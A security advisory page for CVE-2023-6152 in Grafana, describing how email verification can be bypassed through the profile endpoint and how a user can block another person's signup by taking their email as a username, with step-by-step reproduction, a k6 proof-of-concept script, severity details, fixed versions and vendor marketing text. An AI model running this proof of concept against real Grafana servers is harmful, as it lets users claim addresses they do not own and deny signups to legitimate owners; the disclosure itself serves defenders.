CVE-2023-6152

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only.
A user changing it's email after signing up (and verifying it) can change it without verification in /profile.
This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email:
When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

• Start a new grafana instance using latest version
• Sign up with email foo@example.
• Login to that account.
• Go to profile and change email to [email protected]
• That's it, your using an email you don't own.

Prevent email's owner from signing up:

• Start a new grafana instance using latest version
• Sign up with email foo@example.
• Login to that account.
• Go to profile and change username (not email) to [email protected]
• Signout.
• Try to sign up with email [email protected]
• Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Bypass email verification.
Prevent legitimate owner from signing up.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2023-6152 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2023-6152? CVE-2023-6152 is a medium-severity incorrect authorization vulnerability in github.com/grafana/grafana (go), affecting versions >= 2.5.0, < 9.5.16. It is fixed in 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2023-6152? CVE-2023-6152 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/grafana/grafana are affected by CVE-2023-6152? github.com/grafana/grafana (go) versions >= 2.5.0, < 9.5.16 is affected.
4. Is there a fix for CVE-2023-6152? Yes. CVE-2023-6152 is fixed in 9.5.16, 10.0.11, 10.1.7, 10.2.4, 10.3.3. Upgrade to this version or later.
5. Is CVE-2023-6152 exploitable, and should I be worried? Whether CVE-2023-6152 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-6152 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-6152?
   • Upgrade github.com/grafana/grafana to 9.5.16 or later
   • Upgrade github.com/grafana/grafana to 10.0.11 or later
   • Upgrade github.com/grafana/grafana to 10.1.7 or later
   • Upgrade github.com/grafana/grafana to 10.2.4 or later
   • Upgrade github.com/grafana/grafana to 10.3.3 or later